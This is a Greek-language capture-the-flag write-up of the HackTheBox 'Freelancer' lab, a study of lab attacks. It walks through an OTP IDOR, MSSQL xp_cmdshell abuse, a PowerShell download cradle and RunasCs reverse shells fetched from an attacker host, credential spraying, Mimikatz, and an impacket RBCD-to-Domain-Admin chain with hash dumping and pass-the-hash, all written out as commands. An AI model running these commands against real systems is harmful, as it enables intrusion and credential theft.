Πίσω στο blog
← Πίσω στα posts

English  ·  Ελληνικά

HTB: Freelancer

HackTheBoxΤο προφίλ μου στο HTB & περισσότερα boxes ↗ GitHubΕργαλεία security & automation ανοιχτού κώδικα ↗

HTB Freelancer machine card
Το Freelancer ξεκινά με το να αποκτήσεις πρόσβαση σαν employer, μετά κάνεις escalate σε admin μέσω μιας ευπάθειας IDOR στο flow login OTP του QR-Code. Από εκεί, ένα SQL terminal εκθέτει εντολές MSSQL που επιτρέπουν impersonation του sa και ενεργοποίηση του xp_cmdshell για ένα reverse shell. Αφού κάνεις pivot μέσα από χρήστες μέσω αρχείων credentials και ένα memory dump, το μονοπάτι προς Domain Admin περνά μέσα από Resource-Based Constrained Delegation (RBCD).
Freelancer reg → Employer (IDOR) → Admin → sql_svc (MSSQL) → mikasaAckerman → lorra199 → SYSTEM (RBCD)

Αναγνώριση

Nmap

Ένα πλήρες port scan αποκαλύπτει έναν domain controller Windows. Αξιοσημείωτο: MSSQL στη θύρα 55297 και WinRM στη 5985.

nmap
SP1R4@kali)-[~] └$ nmap -sC -sV -p- -oN nmap_results.txt 10.129.159.108 PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http nginx 1.25.5 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc Microsoft Windows RPC 389/tcp open ldap Microsoft Windows Active Directory LDAP 445/tcp open microsoft-ds? 5985/tcp open http Microsoft HTTPAPI httpd 2.0 55297/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00 | DNS_Domain_Name: freelancer.htb | DNS_Computer_Name: DC.freelancer.htb Service Info: Host: DC; OS: Windows

RPC & SMB — Access Denied

rpcclient / smbclient
SP1R4@kali)-[~] └$ rpcclient -U "" -N 10.10.11.5 rpcclient $> enumdomusers result was NT_STATUS_ACCESS_DENIED SP1R4@kali)-[~] └$ smbclient -L 10.10.11.5 Anonymous login successful Unable to connect with SMB1 -- no workgroup available

Website — TCP 80

Το site είναι μια πλατφόρμα job board με εγγραφή Freelancer και Employer.

Freelancer website homepage

Κάνε εγγραφή σαν freelancer πρώτα. Δεν βρέθηκε τίποτα χρήσιμο κατά την καταμέτρηση σαν freelancer.

Freelancer profile dashboard — howdy namiq

Κάνε εγγραφή σαν employer μετά — αλλά το login αποτυγχάνει αμέσως μετά την εγγραφή:

Employer account not activated error

Bypass account recovery

Χρησιμοποίησε τη φόρμα Account Recovery. Οι ερωτήσεις ασφαλείας δέχονται τετριμμένα-μαντεμένες απαντήσεις (όλες ορισμένες στην ίδια τιμή κατά την εγγραφή). Αυτό επανενεργοποιεί τον λογαριασμό και επιτρέπει reset password:

Account recovery form — bob/bob/bob/bob

Τώρα μέσα σαν employer bob:

Employer dashboard — Howdy bob

IDOR — Insecure Direct Object Reference

Τμήμα QR-Code

Το στοιχείο μενού QR-Code δημιουργεί ένα URL login OTP. Το σκανάρισμα αποκαλύπτει ότι το token κωδικοποιεί το αριθμητικό ID του τρέχοντος χρήστη σε base64:

QR-Code page in employer dashboard OTP URL with base64 user ID visible
Format URL OTP: http://freelancer.htb/accounts/login/otp/<base64_uid>/<token>
Το να αντικαταστήσεις την τιμή base64 με το κωδικοποιημένο ID οποιουδήποτε άλλου χρήστη κάνει login σαν εκείνον τον χρήστη — κλασικό IDOR.

Escalation σε admin

Περιήγηση στα σχόλια του blog για να βρεις το username του admin. Η καταμέτρηση URL προφίλ επιβεβαιώνει ότι ο admin έχει ID 2. Κωδικοποίησέ το: echo -n "2" | base64 → Mg==.

IDOR payload
# bob (ID 10011) http://freelancer.htb/accounts/login/otp/MTAwMTE=/e4ff26... # admin (ID 2) http://freelancer.htb/accounts/login/otp/Mgo=/e4ff26...
Logged in as admin — Howdy admin

/admin — SQL Terminal

Το admin panel εκθέτει ένα SQL Terminal κάτω από τα Development Tools:

Admin dashboard with SQL Terminal in Development Tools

Τρέχων χρήστης

SELECT user_name(); -- Result: Freelancer_webapp_user
SQL terminal showing Freelancer_webapp_user result

Πιάνοντας hash NTLM μέσω xp_dirtree

xp_dirtree '\\10.10.14.16\zip'
Responder output capturing NTLM hash from sql_svc
Το hash είναι άσπαστο. Κάνε αντ' αυτού pivot σε privilege escalation SQL.

Impersonation sa → sysadmin → xp_cmdshell

Έλεγξε αν το sa μπορεί να γίνει impersonated και αν κρατά δικαιώματα sysadmin, μετά δώσ' τα στον χρήστη μας:

-- Verify sa is sysadmin EXECUTE AS LOGIN = 'sa' SELECT IS_SRVROLEMEMBER('sysadmin') -- returns 1 -- Grant sysadmin to webapp user EXECUTE AS LOGIN = 'sa' EXEC sp_addsrvrolemember 'Freelancer_webapp_user', 'sysadmin' -- Enable xp_cmdshell EXEC sp_configure 'show advanced options', '1'; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', '1'; RECONFIGURE;
Initial xp_cmdshell permission denied error IS_SRVROLEMEMBER returning 1 — sysadmin confirmed xp_cmdshell whoami showing freelancer\sql_svc

Reverse shell

Απευθείας shells μπλοκάρονται από το AV. Χρησιμοποίησε ένα PowerShell download-cradle:

EXEC xp_cmdshell 'powershell -c "IEX (iwr -usebasicparsing http://10.10.14.16/shell.ps1)"'
nc listener
SP1R4@kali)-[~] └$ rlwrap nc -lvnp 4444 connect to [10.10.14.16] from (UNKNOWN) [10.129.159.108] 65419 SHELL>
Αποκτήθηκε shell σαν freelancer\sql_svc.

Πλάγια Κίνηση — sql_svc → mikasaAckerman

Plaintext credentials σε config SQL

sql-Configuration.INI
SHELL> type C:\Users\sql_svc\Downloads\SQLEXPR-2019_x64_ENU\sql-Configuration.INI SQLSVCACCOUNT="FREELANCER\sql_svc" SQLSVCPASSWORD="IL0v3ErenY3ager" SAPWD="t3mp0r@ryS@PWD"
crackmapexec — password spray
SP1R4@kali)-[~] └$ crackmapexec smb 10.129.171.125 -u users.txt -p IL0v3ErenY3ager SMB DC [-] freelancer.htb\sql_svc SMB DC [-] freelancer.htb\Administrator SMB DC [+] freelancer.htb\mikasaAckerman:IL0v3ErenY3ager
RunasCs — pivot to mikasaAckerman
SHELL> certutil -split -f -urlcache http://10.10.14.16/RunasCs.exe SHELL> .\RunasCs.exe mikasaAckerman IL0v3ErenY3ager cmd.exe -r 10.10.14.16:9001 SP1R4@kali)-[~] └$ rlwrap nc -lvnp 9001 C:\WINDOWS\system32> whoami freelancer\mikasaackerman

Πλάγια Κίνηση — mikasaAckerman → lorra199

mail.txt
PS C:\Users\mikasaAckerman\Desktop> type mail.txt Hello Mikasa, Liza has requested me to generate a full memory dump on the DC. The file is on the Desktop.

Ένα memory dump (MEMORY.7z) είναι στο Desktop. Κάν' το extract, τρέξε το Mimikatz για να απομονώσεις το lsass.exe, μετά τράβηξε το password του lorra199 από το SAM:

evil-winrm — lorra199
SP1R4@kali)-[~] └$ evil-winrm -i 10.129.171.125 -u lorra199 -p 'PWN3D#l0rr@Armessa' *Evil-WinRM* PS C:\Users\lorra199\Documents>
Αποκτήθηκε shell σαν lorra199.

Καταμέτρηση Bloodhound

bloodhound-python
SP1R4@kali)-[~] └$ bloodhound-python -c ALL -u lorra199 -p 'PWN3D#l0rr@Armessa' -d freelancer.htb -ns 10.129.171.125

Ο lorra199 είναι μέλος του AD Recycle Bin:

Bloodhound: lorra199 MemberOf AD Recycle Bin

Το AD Recycle Bin έχει GenericWrite πάνω στον Domain Controller DC$:

Το GenericWrite στο DC$ επιτρέπει κατάχρηση RBCD — μπορούμε να ορίσουμε το attribute msDS-AllowedToActOnBehalfOfOtherIdentity και να κάνουμε impersonate οποιονδήποτε χρήστη συμπεριλαμβανομένου του Administrator.

Privilege Escalation — RBCD → Domain Admin

RBCD full chain
# 1. Πρόσθεσε ψεύτικο λογαριασμό computer SP1R4@kali)-[~] └$ impacket-addcomputer -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-ip 10.129.171.125 'freelancer.htb/lorra199:PWN3D#l0rr@Armessa' [*] Successfully added machine account ATTACKERSYSTEM$ # 2. Γραψε το attribute delegation SP1R4@kali)-[~] └$ impacket-rbcd -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'DC$' -action 'write' 'freelancer.htb/lorra199:PWN3D#l0rr@Armessa' [*] ATTACKERSYSTEM$ can now impersonate users on DC$ via S4U2Proxy # 3. Συγχρόνισε ρολόι + πάρε service ticket SP1R4@kali)-[~] └$ systemctl stop systemd-timesyncd && ntpdate -u 10.129.171.125 SP1R4@kali)-[~] └$ impacket-getST -spn 'cifs/DC.freelancer.htb' -impersonate Administrator -dc-ip 10.129.171.125 'freelancer.htb/ATTACKERSYSTEM$:Summer2018!' [*] Saving ticket in Administrator.ccache # 4. Καν' τα domain credentials dump SP1R4@kali)-[~] └$ export KRB5CCNAME=Administrator.ccache SP1R4@kali)-[~] └$ impacket-secretsdump 'freelancer.htb/Administrator@DC.freelancer.htb' -k -no-pass Administrator:500:aad3b435b51404eeaad3b435b51404ee:0039318f1e827463344... # 5. Pass-the-Hash SP1R4@kali)-[~] └$ evil-winrm -i 10.129.171.125 -u Administrator -H 0039318f1e827463344... *Evil-WinRM* PS C:\Users\Administrator\Documents> └$ type C:\Users\Administrator\Desktop\root.txt d5be56ad************************
🚩 Root flag πιάστηκε. Το domain compromised.

Περίληψη

ΣταδιοΤεχνικηΕργαλειο
FootholdΑνάκτηση λογαριασμού employer μέσω τετριμμένων security Q&ABrowser
Πρόσβαση adminIDOR μέσω base64 user ID στο URL OTPBrowser
ShellImpersonation MSSQL sa → xp_cmdshell → PS cradleSQL Terminal, nc
Πλάγιο (mikasa)Plaintext credentials σε SQL config INI + RunasCscrackmapexec
Πλάγιο (lorra)Memory dump → Mimikatz → lsass → SAMMimikatz
Domain AdminΚατάχρηση RBCD μέσω GenericWrite στο DC$impacket suite

Βασικές εντολές

quick reference
# Privilege escalation MSSQL EXECUTE AS LOGIN = 'sa'; EXEC sp_addsrvrolemember 'user', 'sysadmin' EXEC sp_configure 'xp_cmdshell', '1'; RECONFIGURE # αλυσίδα RBCD impacket-addcomputer # πρόσθεσε ψεύτικο λογαριασμό machine impacket-rbcd # γράψε attribute delegation στο DC$ ntpdate -u <DC_IP> # συγχρόνισε ρολόι (απέφυγε KRB_AP_ERR_SKEW) impacket-getST # πάρε service ticket Administrator impacket-secretsdump # καν' το NTDS dump μέσω DRSUAPI evil-winrm -H <hash> # pass-the-hash σαν Administrator
HackTheBoxΤο προφίλ μου στο HTB & περισσότερα boxes ↗ GitHubΕργαλεία security & automation ανοιχτού κώδικα ↗